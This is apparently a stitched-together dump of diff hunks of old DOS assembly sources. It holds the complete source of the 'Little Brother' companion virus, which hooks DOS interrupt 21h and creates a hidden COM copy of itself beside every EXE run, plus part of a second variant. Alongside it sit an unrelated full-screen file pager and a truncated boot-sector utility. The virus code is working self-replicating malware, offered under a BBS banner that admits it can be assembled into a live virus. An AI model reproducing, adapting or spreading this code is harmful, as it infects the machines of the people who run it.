mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,308 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;****************************************************************************
;* Little Brother version 3
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
oi21 equ end
nameptr equ end+4
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov sp,300
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: push cs ;restore segment registers
pop ds
push cs
pop es
mov bx,30 ;free memory
mov ah,4A
int 21
mov es,ds:[002C] ;search filename in environment
mov di,0
mov ch,0FFh
mov al,01
repnz scasb
inc di
mov word ptr [nameptr],di
mov word ptr [nameptr+2],es
mov si,offset EXE_txt ;change extension to .EXE
call change_ext
push cs
pop es
mov bx,offset param ;make EXEC param. block
mov [bx+4],cs
mov [bx+8],cs
mov [bx+0C],cs
lds dx,dword ptr [nameptr]
mov ax,4B00 ;execute .EXE program
int 21
mov ah,4Dh ;ask return code
int 21
mov ah,4Ch ;exit with same return code
int 21
;****************************************************************************
;* EXEC parameter block
;****************************************************************************
param dw 0, 80, ?, 5C, ?, 6C, ?
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs
pop ds
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz return
mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute .EXE program
return: ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,454 @@
; BROWSE.ASM -- Full Screen File Pager
; ====================================
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 0080h
Parameter Label Byte
Org 0100h
Entry: Jmp Begin
; All Data
; --------
db 'ATTR='
Attribute db 0 ; Current screen attribute
db 'SHIFT='
ShiftHoriz db 8 ; Horizontal shift screen default
DosVersionFail db 'Requires DOS 2.0 or above$'
NoSpaceFail db 'Not enough memory$'
FileFail db 'File Not Found$'
ScreenFail db 'Unsupported video mode$'
Delimiters db 9,' ,;=/' ; Delimiters in parameter
FileHandle dw ? ; Use for saving file handle
WSMode db 0FFh ; AND value for non-WordStar mode
LineLength db ? ; Length of line (from BIOS)
NumberLines db 25,0 ; Number of lines (check EGA BIOS)
ScreenSize dw ? ; Size of screen in bytes
CheckRetrace db 1 ; Flag zero if EGA or MONO used
Addr6845 dw ? ; Could use for retrace check
ScreenAddr Label DWord ; Address of screen
ScreenOff dw 0 ; Higher for non-page 0
ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7
ScreenStart dw ? ; Points within buffer
EndOfFile dw ? ; Points within buffer
FileOffset dw -1, -1 ; Address within file of buffer data
HorizOffset dw 0 ; Horizontal offset for display
RightMargin dw 0 ; Right margin for offset display
Dispatch dw Home, Up, PgUp, Dummy, Left
dw Dummy, Right, Dummy, End, Down, PgDn
; Check DOS Version for 2.0 or above
; ----------------------------------
Begin: Cld ; All string directions forward
Mov AH,30h
Int 21h ; Get DOS Version Number
Cmp AL,2 ; Check for 2.0 or later
Jae DOSVerOK
Mov DX,Offset DOSVersionFail
ErrorExit: Mov AH,9 ; Write error message
Int 21h
Int 20h
; Parse Command Line to get File Name and WordStar flag
; -----------------------------------------------------
DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter
NameSearch: Lodsb ; Get byte
Cmp AL,13 ; Check if carriage return
Jz NoFileFound ; If so, no file name
Mov DI,Offset Delimiters ; String of delimiters
Mov CX,5 ; Number of delimiters (no /)
Repne Scasb ; See if a match
Je NameSearch ; If a delimiter, keep looking
Mov DX,SI ; Otherwise found file name
Dec DX ; Points to beginning of it
EndSearch: Lodsb ; Get next byte
Cmp AL,13 ; See if carriage return
Je GotFileEnd ; If so, we're all done
Mov DI,Offset Delimiters ; String of delimiters
Mov CX,6 ; Number (including /)
Repne Scasb ; See if a match
Jne EndSearch ; If not, still in file name
Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name
Jcxz GotFlag ; If slash, check for W
Jmp EndSearch ; Or continue flag search
GotFlag: Lodsb ; Get byte after / flag
Or AL,20h ; Uncapitalize
Cmp AL,'w' ; See if w for WordStar mode
Jnz GotFileEnd ; If not, just ignore it
Mov [WSMode],7Fh ; AND value for WordStar
; Open the File
; -------------
GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name
; DX still points to name
Mov AX,3D00h ; Open file for reading
Int 21h ; by calling DOS
Jnc GotTheFile ; If no error, continue
NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message
Jmp ErrorExit
GotTheFile: Mov [FileHandle],AX ; Save the file handle
; Get Screen Mode Information from BIOS Data Area
; -----------------------------------------------
Push ES ; Save register
Sub AX,AX
Mov ES,AX ; Set ES to 0 (BIOS Data)
Mov AL,ES:[0449h] ; Current Video Mode
Cmp AL,3 ; Check if Color Alpha
Jbe DisplayOK ; Continue if so
Cmp AL,7 ; Check if monochrome display
Je Monochrome ; If so, branch
Mov DX,Offset ScreenFail ; We can't handle graphics
Jmp ErrorExit ; So print an error message
Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment
Mov [CheckRetrace],0 ; Don't have to check retrace
DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns
Mov [LineLength],AL ; Save it
Mov AX,ES:[044Eh] ; Offset into screen buffer
Mov [ScreenOff],AX ; Save it
Mov AX,ES:[0463h] ; Address of 6845 Regsiter
Mov [Addr6845],AX ; Save it
Push ES
Sub DL,DL ; Set Rows to zero first
Sub BH,BH
Mov AX,1130h ; EGA BIOS: Get Information
Int 10h
Pop ES
Or DL,DL ; Check if DL is still zero
Jz NoEGA ; If so, skip rest of stuff
Inc DL
Mov [NumberLines],DL ; Save Number of Lines
Test Byte Ptr ES:[0487h],4 ; Check if must check retrace
Jnz NoEGA
Mov [CheckRetrace],0 ; EGA says we don't have to
NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later)
Pop ES
Mov AL,[LineLength] ; Length of each line
Mul [NumberLines] ; Total chars on screen
Add AX,AX ; Double for attributes
Mov [ScreenSize],AX ; And Save it
; See if enough memory is left
; ----------------------------
Add AX,Offset ScreenHold ; Add ScreenSize to code end
Add AX,256 ; Add a little stack room
Cmp AX,SP ; Check against stack pointer
Jbe GotEnufMemory ; Continue if OK
Mov DX,Offset NoSpaceFail ; Otherwise end program
Jmp ErrorExit ; with error messae
; Get Current Screen Attribute
; ----------------------------
GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set
Jnz GotAttribute ; If so, move on
Mov DL,' ' ; Write out a byte
Mov AH,2 ; using DOS
Int 21h
Mov AL,8 ; Now backspace
Mov AH,14 ; using BIOS call
Int 10h
Mov AH,8 ; Read character & attribute
Int 10h ; using BIOS call (BH = pg)
Mov [Attribute],AH ; And save attribute
; Save Current Screen
; -------------------
GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit
Mov AX,2523h ; to terminate that way
Int 21h
Mov DI,Offset ScreenHold ; Destination of screen
Mov CX,[ScreenSize] ; Size of screen
Push DS ; Save Source Segment
Lds SI,[ScreenAddr] ; Get screen address
Rep Movsb ; Move in the bytes
Pop DS ; Restore Source Segment
; Get Keyboard Key and Decide on Action
; -------------------------------------
Call Home ; Read file in
Mov [ScreenStart],SI ; Set buffer address
KeyLoop: Call UpDateScreen ; Write file to screen
GetKey: Mov AH,8 ; Get key
Int 21h ; by calling DOS
Cmp AL,27 ; Check if ESC
Je Terminate ; If so, terminate
Cmp AL,0 ; Check if extended
Jnz GetKey ; If not, try again
Mov AH,8 ; Get extended code
Int 21h ; by calling DOS
Sub AL,71 ; Subtract Home key value
Jb GetKey ; If below that, not valid
Cmp AL,(81 - 71) ; Check if above PgDn
Ja GetKey ; If so, ignore it
Sub AH,AH ; Zero out top byte
Add AX,AX ; Double for word access
Mov BX,AX ; Offset in dispatch table
Mov SI,[ScreenStart] ; Set current buffer pointer
Call [Dispatch + BX] ; Do the call
Mov [ScreenStart],SI ; Set new buffer pointer
Jmp KeyLoop ; And update the screen
; Terminate -- Restore screen and close file
; ------------------------------------------
Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen
Les DI,[ScreenAddr] ; Address of Display
Mov CX,[ScreenSize] ; Number of characters
Rep Movsb ; Move them back
Mov BX,[FileHandle] ; Get File Handle
Mov AH,3Eh ; Close File
Int 21h
Int 20h ; Terminate
; Cursor Key Routines -- Home Key
; -------------------------------
Home: Sub BX,BX ; For zeroing out values
Mov AX,[FileOffset] ; Check if read in file
Or AX,[FileOffset + 2]
Mov [FileOffset],BX ; Zero out file address
Mov [FileOffset + 2],BX
Mov [HorizOffset],BX ; Zero out horizontal offset
Mov SI,Offset Buffer ; Reset buffer pointer
Jz Dummy ; Skip file read if in already
Mov DX,Offset Buffer ; Area to read file in
Mov CX,32768 ; Number of bytes to read
Call FileRead ; Read in file
Dummy: Ret
; Up and PgUp Keys
; ----------------
Up: Call GetPrevChar ; Get previous char in buffer
Jc UpDone ; If none available, finish
UpLoop: Call GetPrevChar ; Get previous char again
Jc UpDone ; if none, we're done
Cmp AL,10 ; Check if line feed
Jnz UpLoop ; If not, try again
Call GetNextChar ; Get char after line feed
UpDone: Ret
PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines
PgUpLoop: Call Up ; Do UP that many times
Loop PgUpLoop
Ret
; Left and Right Keys
; -------------------
Left: Mov [HorizOffset],0 ; Reset Horizontal Offset
Ret
Right: Mov AL,[ShiftHoriz] ; Get places to shift
Sub AH,AH
Add [HorizOffset],AX ; Move that many right
Ret
; End, Down, and PgDn Keys
; ------------------------
End: Mov BX,SI ; Save buffer pointer
Call PgDn ; Go page down
Cmp BX,SI ; Check if we did so
Jnz End ; If so, do it again
Ret
Down: Call GetNextChar ; Get next character
Jc NoMoreDown ; If no more, we're done
DownLoop: Call GetNextChar ; Get one again
Jc UpLoop ; If no more, find prev LF
Cmp AL,10 ; See if line feed
Jnz DownLoop ; If not, continue
NoMoreDown: Ret
PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines
PgDnLoop: Call Down ; Do DOWN that many times
Loop PgDnLoop
Ret
; Update Screen
; -------------
UpdateScreen: Push ES
Mov SI,[ScreenStart] ; Address of data in buffer
Les DI,[ScreenAddr] ; Address of display
Mov CX,ScreenSize ; Number of bytes in screen
Shr CX,1 ; Half for number of chars
Mov AL,' ' ; Will blank screen
Mov AH,[Attribute] ; With screen attribute
Rep Stosw ; Blank it
Mov AL,[LineLength] ; Length of display line
Sub AH,AH
Add AX,[HorizOffset] ; Add Horizontal Offset
Mov [RightMargin],AX ; That's right display margin
Sub DL,DL ; Line Number
LineLoop: Sub BX,BX ; Column Number
Mov AL,[LineLength] ; Use Line Length
Mul DL ; and Line Number
Add AX,AX ; to recalculate
Mov DI,AX ; display destination
Add DI,[ScreenOff] ; Add beginning address
CharLoop: Call GetNextChar ; Get next character
Jc EndOfScreen ; If no more, we're done
And AL,[WSMode] ; Will be 7Fh for WordStar
Cmp AL,13 ; Check for carriage return
Je CharLoop ; Do nothing if so
Cmp AL,10 ; Check for line feed
Je LineFeed ; Do routine if so
Cmp AL,9 ; Check for tab
Je Tab ; Do routine if so
Mov CX,1 ; Just 1 char to display
PrintChar: Cmp BX,[HorizOffset] ; See if we can print it
Jb NoPrint
Cmp BX,[RightMargin] ; See if within margin
Jae NoPrint
Mov AH,[Attribute] ; Attribute for display
Cmp [CheckRetrace],0 ; See if must stop snow
Jz WriteIt ; If not, skip retrace wait
Push BX
Push DX
Mov BX,AX ; Save character and attribute
Mov DX,[Addr6845] ; Set up I/O address
Add DX,6
RetraceWait1: In AL,DX ; Check until
Shr AL,1 ; vertical retrace
Jc RetraceWait1 ; ends
Cli ; Clear interrupts
RetraceWait2: In AL,DX ; Check until
Shr AL,1 ; vertical retrace
Jnc RetraceWait2 ; begins
Mov AX,BX ; Get back character & attr
Stosw ; Write to display
Sti ; Enable interrupts again
Pop DX
Pop BX
Jmp Short NoPrint ; Skip around "no snow" write
WriteIt: Stosw ; Write without retrace wait
NoPrint: Inc BX ; Bump up line counter
Loop PrintChar ; Do it CX times
Jmp CharLoop ; Then go back to top
Tab: Mov AX,BX ; Current column number
And AX,07h ; Take lower three bits
Mov CX,8
Sub CX,AX ; Subtract from 8
Mov AL,' ' ; Will print CX blanks
Jmp PrintChar
LineFeed: Inc DL ; Next line
Cmp DL,[NumberLines] ; See if down at bottom
Jb LineLoop ; If not, continue
EndOfScreen: Pop ES ; All done -- leave
Ret
; Get Next Character from buffer
; ------------------------------
; (Input is SI pointing to buffer, Returns AL, CY if no more)
GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file
Jae NoMoreNext ; If so, no more chars
Cmp SI,Offset BufferEnd ; See if at end of buffer
Jb CanGetNext ; If not, just get character
Push CX ; Otherwise save registers
Push DX
Push DI
Push ES
Push DS ; Set ES to DS
Pop ES ; (could be different)
Mov SI,Offset BufferMid ; Move 2nd buffer half
Mov DI,Offset Buffer ; to 1st buffer half
Mov CX,16384
Sub [ScreenStart],CX ; New buffer pointer
Rep Movsb ; Move them
Mov SI,DI ; SI also buffer pointer
Add [FileOffset],32768 ; Adjust file addr to read
Adc [FileOffset + 2],0
Mov DX,Offset BufferMid ; Place to read file
Mov CX,16384 ; Number of bytes
Call FileRead ; Read the file
Sub [FileOffset],16384 ; Now adjust so reflects
Sbb [FileOffset + 2],0 ; 1st half of buffer
Pop ES ; Get back registers
Pop DI
Pop DX
Pop CX
Jmp GetNextChar ; And try again to get char
CanGetNext: Lodsb ; Get the character
NoMoreNext: Cmc ; So CY set if no more
Ret
; Get Previous Character from buffer
; ----------------------------------
GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer
Ja CanGetPrev ; If not, just get character
Mov AX,[FileOffset] ; See if at top of file
Or AX,[FileOffset + 2]
Jz AtTopAlready ; If so, can't get anymore
Push CX ; Save some registers
Push DX
Mov SI,Offset Buffer ; Move 1st half of buffer
Mov DI,Offset BufferMid ; to 2nd half of buffer
Mov CX,16384
Add [ScreenStart],CX ; New buffer pointer
Rep Movsb ; Do the move
Sub [FileOffset],16384 ; Adjust file addr for read
Sbb [FileOffset + 2],0
Mov DX,Offset Buffer ; Area to read file into
Mov CX,16384 ; Number of bytes
Call FileRead ; Read the file
Pop DX ; Get back registers
Pop CX
Jmp Short CanGetPrev ; Now get character
AtTopAlready: Stc ; CY flag set for no more
Ret
CanGetPrev: Dec SI ; Move pointer back
Mov AL,[SI] ; Get the character
Clc ; CY flag reset for success
Ret
; Read CX bytes from the file into DX buffer
; ------------------------------------------
FileRead: Push AX ; Save some registers
Push BX
Push CX
Push DX
Mov [EndOfFile],-1 ; Initialize this
Mov DX,[FileOffset] ; Get file address to read
Mov CX,[FileOffset + 2]
Mov BX,[FileHandle] ; Get file Handle
Sub AL,AL ; Do LSEEK from beginning
Mov AH,42h ; LSEEK call
Int 21h
Pop DX ; Get back destination
Pop CX ; Get back count
Mov AH,3Fh ; Read file function call
Int 21h
Jnc NoReadError ; If no error, continue
Sub AX,AX ; Otherwise read zero bytes
NoReadError: Cmp AX,CX ; See if 32K has been read
Je GotItAll ; If so, we're home free
Add AX,DX ; Otherwise add to buffer addr
Mov [EndOfFile],AX ; And save as end of file
GotItAll: Pop BX
Pop AX
Ret
; File Buffer and Screen Hold Areas
; ---------------------------------
Buffer Label Byte ; Area for file reads
BufferMid equ Buffer + 16384 ; Halfway through it
BufferEnd equ BufferMid + 16384 ; At end of it
ScreenHold equ BufferEnd ; Area for holding screen
CSEG EndS ; End of segment
End Entry ; Denotes entry point

+374
View File
@@ -0,0 +1,374 @@
page ,132
title BootThru - v1.05
;------------------------------------------------------------------------
;
; BootThru - Copyright (c) Bill Gibson - 1987
; Lathrup Village, Mi 48076
;
; Ver. 1.00 - Initial version (not rlsd) - 01/11/87
; 1.01 - revised code structure " - 01/25/87
; 1.02 - revised Modify Proc " - 02/01/87
; 1.03 - enhanced error message output " - 02/06/87
; 1.04 - revised Print Proc released - 02/07/87
; 1.05 - fix incompatibility plbm - 02/09/87
;
;
; For Public Domain Use. Not for Sale or Hire.
;------------------------------------------------------------------------
COMMENT *
Routine to modify diskette boot record, using drive A: or B:,
thus circumventing DOS' non-system disk display error.
Usage:
BT A: -> transfer new boot record to drive A:
BT B: -> transfer new boot record to drive B:
BT -> starts program, default is drive A:
*
;------------------------------------------------------------------------
code SEGMENT BYTE PUBLIC 'code'
ASSUME CS:code,DS:code,SS:code
ORG 5Ch ;drive id
param1 LABEL BYTE
ORG 5Dh ;elim spurrious characters
param2 LABEL BYTE
ORG 100h
BootThru PROC FAR
MOV CS:stk_ptr,SP ;save stack ptr to ensure ret
CALL Chk_Ver ;dos 2.0 or greater
CALL Scan
CALL Dwrite
JMP SHORT exit
error:
MOV SP,stk_ptr ;insure proper return
CALL Print ;print error messages
MOV AL,1 ;set errorlevel to 1
exit:
MOV AH,4Ch
INT 21h
;------------------------------------------------------------------------
; Work Area - constants,equates,messages
;------------------------------------------------------------------------
drive DB 0
stk_ptr DW 0
blank EQU 020h ;ascii space code
cr EQU 0Dh ;carriage return
lf EQU 0Ah ;line feed
esc EQU 01Bh ;escape char
stopper EQU 255 ;end of display line indicator
logo DB cr,lf,'BootThru - The Diskette Modifier'
DB cr,lf,'Version 1.05 - Bill Gibson 1987',cr,lf,stopper
usage DB cr,lf,'Usage: BT [drive A: or B:]',cr,lf,stopper
sorry DB cr,lf,'Wrong PC DOS Version',cr,lf,stopper
msg1 DB cr,lf,'Insert diskette in drive A, and press ENTER'
DB ' when ready ...',stopper
msg2 DB cr,lf,'Insert diskette in drive B, and press ENTER'
DB ' when ready ...',stopper
msg3 DB cr,lf,'Press ENTER to modify another disk',cr,lf
DB 'or ESCape to quit...',stopper
msg4 DB cr,lf,cr,lf,'Transferring New Boot Sector',cr,lf,stopper
msg5 DB cr,lf,'Transfer Completed',cr,lf,stopper
msg80h DB cr,lf,cr,lf,'* Error * Drive failed to respond.',cr,lf,cr,lf,stopper
msg40h DB cr,lf,cr,lf,'* Error * Seek operation failed.',cr,lf,cr,lf,stopper
msg20h DB cr,lf,cr,lf,'* Error * Controller failure.',cr,lf,cr,lf,stopper
msg10h DB cr,lf,cr,lf,'* Error * Bad CRC on diskette write.',cr,lf,cr,lf,stopper
msg08h DB cr,lf,cr,lf,'* Error * DMA overrun on operation.',cr,lf,cr,lf,stopper
msg04h DB cr,lf,cr,lf,'* Error * Requested sector not found.',cr,lf,cr,lf,stopper
msg03h DB cr,lf,cr,lf,'* Error * Write protected diskette.',cr,lf,cr,lf,stopper
msg02h DB cr,lf,cr,lf,'* Error * Address mark not found.',cr,lf,cr,lf,stopper
msggen DB cr,lf,cr,lf,'* Unknown Error *',cr,lf,cr,lf,stopper
;--------------------------------------------------------------------------
; Sub-Routines:
;--------------------------------------------------------------------------
Chk_Ver PROC NEAR
MOV AH,30h ;verify DOS 2.0 or later
INT 21h
CMP AL,2
JAE SHORT chk_ok
MOV DX,OFFSET sorry
JMP error
chk_ok:
RET
Chk_Ver ENDP
;--------------
Scan PROC NEAR ;check for any spurrious chars
MOV AL,[param2]
CMP AL,blank ;anything ?
JNZ shlp ;yes, give error msg
s1:
MOV AL,[param1] ;check for drive parameters
OR AL,AL ;anything ?
JNZ s2 ;jump and test
MOV DX,OFFSET logo ;setup default drive A:
CALL Print
MOV drive,0
MOV DX,OFFSET msg1
RET
s2:
CMP AL,01 ;setup for drive A:
JZ SHORT sdrvA
CMP AL,02 ;for drive B:
JZ SHORT sdrvB
shlp:
MOV DX,OFFSET usage ;display for invalid drives
JMP error
sdrvA:
MOV DX,OFFSET logo
CALL Print
MOV drive,0
MOV DX,OFFSET msg1
RET
sdrvB:
MOV DX,OFFSET logo
CALL Print
MOV drive,1
MOV DX,OFFSET msg2
RET
Scan ENDP
;--------------
Dwrite PROC NEAR ;transfer new disk boot sector
CALL Print ;get ready
d1:
MOV AH,8 ;use function 8 in order to detect
INT 21h ;ctrl-breaks
CMP AL,esc ;ESC & Ctrl-Break aborts process
JZ d5
CMP AL,cr
JNZ d1
d2:
MOV DX,OFFSET msg4 ;setup for disk write
CALL Print
MOV AL,drive
LEA BX,head
MOV CX,0001
MOV DX,0000
drite: ;more setups
PUSH AX
PUSH BX
PUSH CX
PUSH DX
INT 26h
JC derror ;processing error ?
POPF ;done
POP DX
POP CX
POP BX
POP AX
d3:
MOV DX,OFFSET msg5 ;transfer complete
CALL Print
JMP d4
derror: ;display disk errror
CALL ErrorList
dend_of:
CALL Print
POPF ;done
POP DX
POP CX
POP BX
POP AX
d4:
MOV DX,OFFSET msg3 ;another ?
CALL Print
JMP d1 ;loop
d5:
RET
Dwrite ENDP
;--------------
Print PROC NEAR ;a Great idea from Vern Buerg !
PUSH SI
PUSH BX
PUSH CX
MOV SI,DX ;DX has the offset to string
SUB CX,CX ;set to zero for count
p1:
LODSB
CMP AL,stopper ;string ends in FFh
JE p9
INC CX ;increment text length
JMP p1
p9:
MOV AH,40h ;write using file handles
MOV BX,1
INT 21h
POP CX
POP BX ;recover registers
POP SI
RET
Print ENDP
;--------------
ErrorList PROC NEAR ;error code interpretation
;the upper byte (AH) contains error
err80h: CMP AH,080h ;attachment failed to respond
JNZ err40h
MOV DX,OFFSET msg80h
RET
err40h:
CMP AH,040h ;seek operation failed
JNZ err20h
MOV DX,OFFSET msg40h
RET
err20h:
CMP AH,020h ;controller failed
JNZ err10h
MOV DX,OFFSET msg20h
RET
err10h:
CMP AH,010h ;data error (bad CRC)
JNZ err08h
MOV DX,OFFSET msg10h
RET
err08h:
CMP AH,08h ;direct memory access failure
JNZ err04h
MOV DX,OFFSET msg08h
RET
err04h:
CMP AH,04h ;requested sector not found
JNZ err03h
MOV DX,OFFSET msg04h
RET
err03h:
CMP AH,03h ;write-protect fault
JNZ err02h
MOV DX,OFFSET msg03h
RET
err02h:
CMP AH,02h ;bad address mark
JNZ errgen
MOV DX,OFFSET msg02h
RET
errgen:
MOV DX,OFFSET msggen ;something new ? (Unknown)
RET
ErrorList ENDP
;--------------
Modify PROC FAR
head:
cr EQU 0Dh ;carriage return
lf EQU 0Ah ;line feed
stopper EQU 255 ;end of display line indicator
boot_area EQU 0000h ;setup boot area
bogus_drv EQU 0080h ;setup bogus drive
loc2 EQU 01FEh ;last two bytes of boot sector
eof_bootsec EQU 0AA55h ;end of boot sector (reversed)
bulc EQU 0DAh ;box upper left corner
burc EQU 0BFh ;box upper right corner
bllc EQU 0C0h ;box lower left corner
blrc EQU 0D9h ;box lower right corner
